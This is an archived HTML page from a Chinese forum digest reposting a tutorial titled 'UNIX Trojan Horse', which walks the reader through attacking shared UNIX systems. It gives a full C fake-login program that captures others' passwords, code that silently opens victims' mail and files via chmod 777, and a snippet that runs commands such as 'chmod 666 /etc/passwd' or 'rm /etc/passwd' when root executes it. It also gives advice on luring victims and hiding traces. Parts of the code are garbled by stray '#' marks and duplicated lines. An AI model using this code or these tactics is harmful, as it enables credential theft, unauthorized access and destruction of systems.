📄 441.htm
字号:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>CTerm非常精华下载</title>
</head>
<body bgcolor="#FFFFFF">
<table border="0" width="100%" cellspacing="0" cellpadding="0" height="577">
<tr><td width="32%" rowspan="3" height="123"><img src="DDl_back.jpg" width="300" height="129" alt="DDl_back.jpg"></td><td width="30%" background="DDl_back2.jpg" height="35"><p align="center"><a href="http://apue.dhs.org"><font face="黑体"><big><big>apue</big></big></font></a></td></tr>
<tr>
<td width="68%" background="DDl_back2.jpg" height="44"><big><big><font face="黑体"><p align="center"> ● UNIX网络编程 (BM: clown) </font></big></big></td></tr>
<tr>
<td width="68%" height="44" bgcolor="#000000"><font face="黑体"><big><big><p align="center"></big></big><a href="http://cterm.163.net"><img src="banner.gif" width="400" height="60" alt="banner.gif"border="0"></a></font></td>
</tr>
<tr><td width="100%" colspan="2" height="100" align="center" valign="top"><br><p align="center">[<a href="index.htm">回到开始</a>][<a href="318.htm">上一层</a>][<a href="442.htm">下一篇</a>]
<hr><p align="left"><small>UNIX特洛伊木马 <br>
---------------------------------------------------------------------------- <br>
---- <br>
努力 于 99-10-31 上午 11:23:56 加贴在 绿盟科技论坛(bbs.nsfocus.com)--UNIX系 <br>
统安全: <br>
------------------ <br>
UNIX特洛伊木马 <br>
------------------ <br>
简介: <br>
------------ <br>
“UNIX安全”是种矛盾的说法。UNIX系统是很容易就可以用暴力法攻破,因为大多 <br>
数 <br>
UNIX系统并没有设置登录次数限制,而且还有诸如root、bin、sys、uucp等缺省用户。 <br>
一旦 <br>
进入了系统,就很容易获得系统控制权。如果懂得C语言,你甚至可以使系统为你工作, <br>
完全 <br>
除去系统的安全屏障,建立自已的帐号,读取别人的文件,等等。这些事情都可以通过 <br>
本文 <br>
中简单的C语言代码来实现。 <br>
需求: <br>
------------ <br>
首先,你需要有一个有效的UNIX系统帐号。如果该UNIX系统是运行在如PDP/11、VA <br>
X、 <br>
X、 <br>
Pyramid等机器上的相对简单的UNIX系统(如4.2bsd或AT&T System V等),则则会获得 <br>
很好 <br>
的效果。如果你在学校拥有一个基于这些系统的帐号,那就再好不过了。 <br>
注释: <br>
----- <br>
本文的起因是1986年4月刊登的一篇题目为“UNIX安全”的文章。在这篇文章中,作 <br>
者 <br>
说到:“我们希望,我们所提供的资料在一定程度上引起人们的兴趣和避免UNIX过于容 <br>
易成 <br>
为“骇客们的食谱”。因此我们有意省略了某些细节。”于是我根据这篇文章的大纲, <br>
按照 <br>
其中谈到的方法,编写出以下清晰完整的例子。 <br>
实例一:骗取密码 <br>
----------------------------------- <br>
只要有一点UNIX和C知识,你会发现做到这一点根本不难。但是,你首先必须有权访 <br>
问 <br>
一台许多人都可以使用的计算机,如学校中的公用计算机。 <br>
当登录到一个UNIX系统时,会出现类似以下内容的屏幕: <br>
Tiburon Systems 4.2bsd / System V (shark) <br>
login: shark <br>
Password: (无回显) <br>
以下程序模拟了一个登录过程。你在终端上运行该程序后就离开。那些无知的“笨 <br>
蛋” <br>
会上来输入他们的帐号和密码,这些都会保存在一个文件里。然后屏幕显示“login <br>
incorrect”(登录错误),并要求这个“笨蛋”再次登录。这一次才是真正的登录程序 <br>
, <br>
当然会成功登录了(真是一群“笨蛋”)。 <br>
把以下程序代码输入名为“horse.c”的文件中。注意,你需要针对不同系统的显示 <br>
更 <br>
改程序的前8行。 <br>
----- Code Begins Here ----- <br>
/* this is what a 'C' comment looks like. You can leave them out. */ <br>
/* #define's are like macros you can use for configuration. */ <br>
#define SYSTEM "\n\nTiburon Systems 4.2bsd UNIX (shark)\n\n" <br>
/* The above string should be made to look like the message that your <br>
* system prints when ready. Each \n represents a carriage return. <br>
*/ <br>
#define LOGIN "login: " <br>
/* The above is the login prompt. You shouldn't have to change it <br>
* unless you're running some strange version of UNIX. <br>
*/ <br>
#define PASSWORD "password:" <br>
/* The above is the password prompt. You shouldn't have to change <br>
* it, either. <br>
* it, either. <br>
*/ <br>
#define WAIT 2 <br>
/* The numerical value assigned to WAIT is the delay you get after <br>
* "password:" and before "login incorrect." Change it (0 = almost <br>
* no delay, 5 = LONG delay) so it looks like your system's delay. <br>
* realism is the key here - we don't want our target to become <br>
* suspicious. <br>
*/ <br>
#define INCORRECT "Login incorrect.\n" <br>
/* Change the above so it is what your system says when an incorrect <br>
* login is given. You shouldn't have to change it. <br>
*/ <br>
#define FILENAME "stuff" <br>
/* FILENAME is the name of the file that the hacked passwords will <br>
* be put into automatically. 'stuff' is a perfectly good name. <br>
*/ <br>
/* Don't change the rest of the program unless there is a need to <br>
* and you know 'C'. <br>
*/ <br>
#include <curses.h> <br>
#include <signal.h> <br>
int stop(); <br>
int stop(); <br>
main() <br>
{ <br>
char name[10], password[10]; <br>
int i; <br>
FILE *fp, *fopen(); <br>
signal(SIGINT,stop); <br>
initscr(); <br>
printf(SYSTEM); <br>
printf(LOGIN); <br>
scanf("%[^\n]",name); <br>
getchar(); <br>
noecho(); <br>
printf(PASSWORD); <br>
scanf("%[^\n]",password); <br>
printf("\n"); <br>
getchar(); <br>
echo(); <br>
sleep(WAIT); <br>
if ( ( fp = fopen(FILENAME,"a") ) != NULL ) { <br>
#fprintf(fp,"login %s has password %s\n",name,password); <br>
#fclose(fp); <br>
#} <br>
#} <br>
printf(INCORRECT); <br>
endwin(); <br>
} <br>
stop() <br>
{ <br>
endwin(); <br>
exit(0); <br>
} <br>
----- Source Ends Here ----- <br>
OK,正如我所说的,输入以上代码,并修改它,使它看起来与真正的登录过程完全 <br>
<br>
一致。编译horse.c文件。( % 不必输入,它只是系统提示符。) <br>
% cc horse.c -lcurses -ltermcap <br>
% mv a.out horse <br>
现在你已有了可执行文件horse。运行它,如果所显示的内容与真正的登录过程不一 <br>
<br>
样,便重新编辑horse.c源程序,并重新编译。在使用木马程序前,建立名为trap(或者 <br>
<br>
其他名字)的文件,内容如下: <br>
horse (运行木马程序) <br>
login (运行系统登录程序) <br>
执行trap文件: <br>
% source trap (重复:不要输入 %) <br>
然后离开终端... <br>
程序运行几次后,检查stuff文件(或者你定义的任何文件),其内容应类似如下: <br>
<br>
user john has password secret <br>
user mary has password smegma <br>
etc. <br>
记录下这些帐号和密码,然后删除这个文件。(否则,如果超级用户看到这个文 <br>
件,你可就危险了。) <br>
注:为了取得更好的效果,终端最好设置为在一定时间内无用户登录便退出。这样 <br>
, <br>
即使无人使用该终端,木马程序也不会空运行漫长的14小时(或更长)了。 <br>
----- <br>
下一个实例运行在一个远程系统上,如你已成功侵入的诸如Michigan的VAX、Dratm <br>
outh <br>
的UNIX等系统。然而,它要求UNIX初学者具有一定的C语言知识。 <br>
实例二:读取他人文件 <br>
------------------------------------- <br>
当用户运行一个程序的时候,他们就是被创建进程的拥有者,程序便可以做出任何 <br>
不 <br>
超越其权限的事情,如删除文件,创建文件,并赋予他人访问的权限等。 <br>
当用户在UNIX系统上保存邮件时,邮件被保存在用户根目录下的mbox文件中。在缺 <br>
省 <br>
情况下,该文件仅能由用户读取。下面的小程序可以解锁运行此程序的用户mbox文件( <br>
如 <br>
使用chmod 777命令,即允许系统中的任意用户拥有完全访问权限): <br>
----- Code Begins Here ----- <br>
#include <pwd.h> <br>
struct passwd *getpwnam(name); <br>
struct passwd *p; <br>
char buf[255]; <br>
main() <br>
{ <br>
p = getpwnam(getlogin()); <br>
sprintf(buf,"%s/%s",p->pw_dir,"mbox"); <br>
if ( access(buf,0) > -1 ) { <br>
sprintf(buf,"chmod 777 %s/%s",p->pw_dir,"mbox"); <br>
system(buf); <br>
} <br>
} <br>
----- Code Ends Here ----- <br>
现在,问题是:怎样才能让攻击目标运行这个程序呢? <br>
如果系统有发布消息的功能(如4.xbsd中的msgs命令),你可以将程序发布出去。 <br>
<br>
<br>
到UNIX WORLD等杂志上找一个工具或游戏程序,并将以上代码插入到程序里。例如,你 <br>
<br>
有一个tic-tac-toe程序,并已将木马代码放入tic-tac-toe程序真正运行的代码之前, <br>
<br>
你便可以发布“我有一个新的tic-tac-toe程序,你们可以测试它,可在我的目 <br>
录下找到它。”之类的消息。你也可以单独向你的欺骗目标发出类似的邮件。 <br>
如果你找不到一个程序可以插入木马,也可以在以上代码最后两个}间插入以下代码 <br>
: <br>
printf("Error opening tic-tac-toe data file. Sorry!\n"); <br>
当此程序运行,它将显示以上错误信息。用户就会想:“嗯,这小子连这么简单的 <br>
<br>
tic-tac-toe程序都不会写!”但其实可笑的是他——你现在已经可以读取他的邮件了。 <br>
<br>
如果你想读取某个用户目录下的特定文件(例如“secret”),只要向这个用户投 <br>
寄 <br>
以下程序: <br>
main() <br>
{ <br>
if ( access("secret",0) > -1 ) system("chmod 777 secret"); <br>
} <br>
然后与他“交谈”或通信,象Joe Loser所说的:“我刚写了一个super_star-wars <br>
程 <br>
程 <br>
序,你愿意测试一下吗?” <br>
无论你希望何人运行某一命令,都不是一件难事,只要把他放进C程序中的system( <br>
) <br>
函数,然后诱骗他运行这个程序! <br>
下面是利用以上技术的一些用法: <br>
实例三:成为超级用户 <br>
----------------------------------- <br>
写一个让别人运行的程序,插入下面代码: <br>
if ( !strcmp(getlogin(),"root") ) system("whatever you want"); <br>
该代码检查root用户是否在运行本程序。如是,你便可以利用他的权限执行你所希 <br>
望 <br>
的命令了(只要将whatever you want改为该命令即可)。以下是常用的命令: <br>
"chmod 666 /etc/passwd" <br>
/etc/passwd是系统密码文件,只有root用户可以读写,在一般情况下,其他用户只 <br>
能 <br>
读(密码是经加密的)。如你不清楚其结构格式,可以查看它。上面的命令使你也可以 <br>
读 <br>
写该文件——如为自己和朋友建立无权限限制的帐号。 <br>
"chmod 666 /etc/group" <br>
通过把自己加入某些具有高级权限的组,你便可以为所欲为了。 <br>
"chmod 666 /usr/lib/uucp/L.sys" <br>
检查这个文件确定这个系统是否在UUCP(UNIX-UNIX CONNECTION PROTOCOL)网络上 <br>
。 <br>
此文件包含了访问网络中其他系统的拨号用户和密码,以一般情况下,只有UUCP管理员 <br>
能 <br>
读取它。找到UUCP管理员帐号并诱使其在不知情的情况下运行以上代码,你便可以读取 <br>
它了。 <br>
"rm /etc/passwd" <br>
如果你诱使root用户运行这行代码,就会删除系统密码文件,此系统将停机,并且 <br>
不能 <br>
再次运行了。这是具有相当破坏力的。 <br>
----- <br>
当你准备向系统放置特洛伊木马,有几条规则应该注意。 <br>
如果隐蔽性是主要的,(如侵入用户邮箱或删除他的所有文件等,)那么这个程序 <br>
不应该被过多 <br>
地执行(如一个流行的电脑游戏)——一旦用户发现他们的文件被允许完全访问,那么 <br>
他是比较 <br>
容易找到原因的。为了加强木马的隐蔽性,程序应该表明为“测试”程序(比如你正在 <br>
编写的游 <br>
戏),并且请求个别人运行它,并与他们“交流”意见(只是为了欺骗他们)。正如我 <br>
所说的, <br>
“测试”程序在完成其任务后,可以显示虚假的错误消息。你便可以对他们说:“唉呀 <br>
,我想我 <br>
要继续修改它。”在他们离开后,你便可以读取已被你解锁的文件了。 <br>
如果木马程序的主要目的是捕捉运行此程序的特定用户——如root或其他高级用户 <br>
,你就应该 <br>
把木马程序代码放入可被系统中绝大多数用户频繁执行的程序里。因为木马程序在特定 <br>
用户运行 <br>
前是隐匿的。 <br>
如果你发现C语言代码很难理解,你就必须从PASCAL语言等转变过来并学会C语言。 <br>
这种情况不 <br>
会有损C语言作为一种伟大的编程语言。 <br>
以上我们已经看到在UNIX系统上怎样做了。一旦你捕捉到了root用户(如你可以修 <br>
改/etc/passwd <br>
文件),就要从特洛伊木马程序中删除有关欺骗的代码,这样你就永远不会被捉住了。 <br>
<br>
<br>
</small><hr>
<p align="center">[<a href="index.htm">回到开始</a>][<a href="318.htm">上一层</a>][<a href="442.htm">下一篇</a>]
<p align="center"><a href="http://cterm.163.net">欢迎访问Cterm主页</a></p>
</table>
</body>
</html>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -